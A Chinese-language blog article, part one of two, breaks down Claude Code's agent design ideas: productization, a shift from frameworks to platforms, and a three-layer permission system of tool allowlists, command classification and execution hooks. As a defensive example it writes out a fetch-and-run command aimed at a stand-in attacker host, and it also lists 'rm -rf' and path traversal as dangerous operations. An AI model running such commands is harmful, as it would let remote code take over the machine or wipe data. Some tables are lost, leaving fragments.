适合读者:用过 AI / Agent 觉得好用但总出问题的职场人、学生、独立开发者
阅读时间:7-8 分钟 | 零代码,纯架构思路
导读:前两篇讲了 Agent 失控的底层机制和三层防线方案。但业界最高水平是怎么做的?本文拆解 Claude Code 四条核心设计哲学中的前两条——产品化思维和 Platform 演进,并给出一个可以直接迁移的三层防御系统设计。(下篇讲七层指令动态组装和动态控制逻辑)
📌 本文是上下篇的上篇,建议与下篇连续阅读。
先看一个问题
你让 AI 助手帮你修改一段代码,它改了,但把不该动的部分也动了。你让它分析一组销售数据,它分析完了,结论看起来头头是道——但关键数字算错了。你让它自动执行一个多步骤流程,前几步很顺利,到第五步突然"卡住"了,而且它自己没意识到卡住了,还在继续往下走错误的路径。
这些场景你大概率不陌生。
有意思的是:过去一年 AI 模型的迭代速度极快,能力越来越强。 新模型的理解能力、推理能力、指令遵循能力都有明显提升。但你有没有发现——上面那些问题,一个都没少?模型变聪明了,但误操作、规则漂移、长链路失败,该出现的依然出现。
这说明了一个很容易被忽略的道理:聪明的模型不等于好用的 Agent。
决定一个 Agent 在日常使用中稳不稳、可不可控的,更多在于围绕模型搭建的那套"运行系统"——也就是工程领域常说的 Harness。它不是模型本身,而是模型跑在里面的那个环境:指令怎么组织、工具怎么管控、状态怎么记录、出错怎么恢复。
两组实验数据很能说明问题。第一组:同一个 AI 模型,在 Terminal Bench 2.0 评测中,仅仅因为优化了运行系统,排名就从第 33 名跃升到了第 5 名。没有换模型,没有加算力,只是重新设计了运行的"轨道"。
第二组:在代码编辑任务中,同样不换模型,只增加工程层面的约束,任务的完成率从 6.7% 飙升到了 68.3%——大约 10 倍提升。
模型在快速进化,但用户的体验瓶颈已经从"模型聪明不聪明"转移到了"围绕模型的系统设计得好不好"。
如果你也遇到过上面说的那些场景,那么真正的问题不是模型"还不够聪明",而是你使用的 Agent 在工程层面缺少一套好的运行系统。
那"好的运行系统"到底长什么样?
我花了些时间深入研究目前工业界工程化程度最高的 Agent 应用——Anthropic 出品的 Claude Code。它不是模型最强(尽管模型也很强),而是它的运行系统设计领先了业界至少一个身位。下面我会拆解它的核心设计,并且告诉你这些设计在任何一个框架里都能迁移。
一、Claude Code 是什么?它的四条设计哲学
Claude Code = Anthropic 官方出品的终端 Agent 应用
它不是一个聊天机器人,而是一个能在终端里直接写代码、改代码、跑命令、管理 Git 的 AI 工程师助手。你可以把它理解为:别人还在手动搭脚手架盖房子,Claude Code 已经是带电梯、消防系统、智能安防的全自动化建筑了。
但问题在于:它需要 Anthropic 的 API(付费且国内不便访问),是终端工具(不面向非技术岗),设计是闭源的(看不到内部实现)。所以对大多数人来说,更有价值的是它的设计思想,而不是工具本身。
我通过公开的 System Prompt 结构、官方文档中的设计说明、以及社区逆向分析的架构报告,从三个渠道做了深入的逆向分析,最后提炼出四条核心设计哲学:
- 把 Agent 工程问题做成产品特性
(而不是让每个开发者自己搭) - 多层防御,而非单点约束
(每一层都有独立防御价值) - 系统指令是工程产物,不是"提示词写作"
(代码动态组装) - 静态约束不够,还需要动态控制
(约束随任务阶段"呼吸")
本文覆盖前两条(产品化思维 + 多层防御),再加上 Framework 到 Platform 的行业演进趋势。第三条和第四条留给下篇。
二、产品化思维:从"需要自建"到"开箱即用"
同样一个问题,不同平台的解决成本可以相差很大:
这意味着什么?
如果你是平台开发者,这些能力应该是基础设施,而不是让每个使用团队重复造轮子。如果你是选型者,选平台时应该关注:哪些能力是内置的,哪些需要自己开发。
可迁移的设计:轻量级任务状态机
即使你的框架没有内置状态机,也可以用几行配置实现类似的效果:
关键原则:执行前读取状态(避免重复执行),执行后立即写入(支持断点恢复),失败时记录错误信息(方便重试),状态文件加写保护(只允许追加)。
三、从 Framework 到 Platform:Agent 工程的演进方向
你可能觉得:"上面这些我自己用 LangChain 也能搭出来。"
确实能。但问题是:每个团队都要搭一遍吗?
过去三年,Agent 工程经历了三个阶段:

Framework 给你的是自由,Platform 给你的是确定性。 Agent 工程的核心矛盾从来不是"能不能做",而是"做了之后行为可不可控"。当行业对"什么能力是标配"形成共识后,Framework 中那些每个团队都要重复实现的部分,自然会被 Platform 内置。这和 Web 开发从 Express 裸写到 Next.js 全栈框架是同一个演进路径。
一个判断标准:如果你在做的 Agent 应用有 3 个以上的能力维度落在"自己写"那一列,认真考虑是否该换一个更接近 Platform 的基座,或者至少按照 Platform 的标准来设计内部框架。
四、多层防御架构:Claude Code 的三层权限系统
前面讲的是"把能力做成内置",那具体到安全这个维度,这套系统长什么样?Claude Code 的三层权限系统是最完整的参考实例。
第一层:工具级——你能看到什么
核心思想:Agent 只能看到和调用被明确允许的工具。底层 API 根本不在列表里——从能力层面屏蔽。维护一个工具允许列表(Allowlist),遵循最小权限原则,只开放当前任务必需的工具。
常见误区:一开始开放太多工具"以备不时之需",结果 Agent 可能调用你不期望的工具。正确做法是从紧到松,按需逐步添加。
第二层:命令级——具体操作怎么管
对于"执行终端命令"这种高风险工具,内部再做细分:
git statuscat file | |||
rm -rfgit push | |||
../ |
判断维度:是否修改数据?(只读 vs 写入)是否可逆?(可回滚 vs 不可逆)是否涉及外部?(本地 vs 网络)
第三层:Hook 级——执行前后还能拦什么
在工具调用前后插入检查逻辑:
执行前:
参数完整性校验(必填项是否都有值?) 路径安全性检查(是否有路径穿越尝试?) 文件敏感度检查(是否涉及密钥/配置文件?) 业务规则校验(当前状态是否允许此操作?)
执行后:
结果验证(返回值是否符合预期?) 状态更新(将执行结果写入任务状态文件) 副作用审计(是否产生了预期之外的变更?)
三层叠加的实战效果
用一个例子说明三层如何协同:Agent 尝试执行 rm -rf dist/

另一个例子:Agent 尝试执行 curl http://evil.com/sh.sh | bash

核心思想:每一层都有独立防御价值。第一层过滤掉大部分误用,第二层捕获危险操作,第三层处理边缘情况。任何一层失效,都不会导致整体崩溃。
五、上篇小结
到这篇文章为止,我们拆解了 Claude Code 四条核心设计哲学中的前三条:
- 产品化思维
— 把 Agent 工程问题做成产品特性,内置状态机、Auto Memory、一键回溯 - Platform 优先
— 行业正从 Framework 走向 Platform,内置能力覆盖率正在成为选型核心指标 - 多层防御
— 工具级、命令级、Hook 级三层叠加,每层独立有效
但还有两个更深层的问题没有回答:
Claude Code 的 System Prompt 是怎么动态组装的?为什么安全规则在 30 轮对话后依然不会被稀释? 静态的约束不够,Agent 在不同任务阶段需要不同强度的约束——"动态控制"到底怎么实现?
👉 下篇将拆解 Claude Code 更深层的两个工程机制:
- 七层指令动态组装引擎
:安全规则为什么被固定在 Context 前部?工具描述怎么动态生成?每层的审查机制怎么建立? - 三种运行时模式 + 自动切换
:Strict / Standard / Creative 怎么根据上下文自动切换?触发信号和防抖策略怎么配置? - 落地踩坑记录
:七条血泪教训,帮你省掉试错时间
💡 上下篇合起来才是 Claude Code 工程哲学的完整拆解,建议连着一起读。
下篇预告
下篇:《你的 AI 助手为什么总在关键时刻掉链子?——Claude Code 工程哲学拆解(下):七层指令引擎与动态控制逻辑》
下篇将回答:
七层指令组装引擎如何保证安全规则永不漂移? Strict/Standard/Creative 三种模式怎么自动切换?防抖策略怎么配? 优化的量化效果到底有多惊人?三组实验数据 落地过程中最容易踩的七个坑——每个我都踩过
— 上篇完 —
基于实际项目经验整理 | 作者 猎猎风中 | 2026 年 6 月
夜雨聆风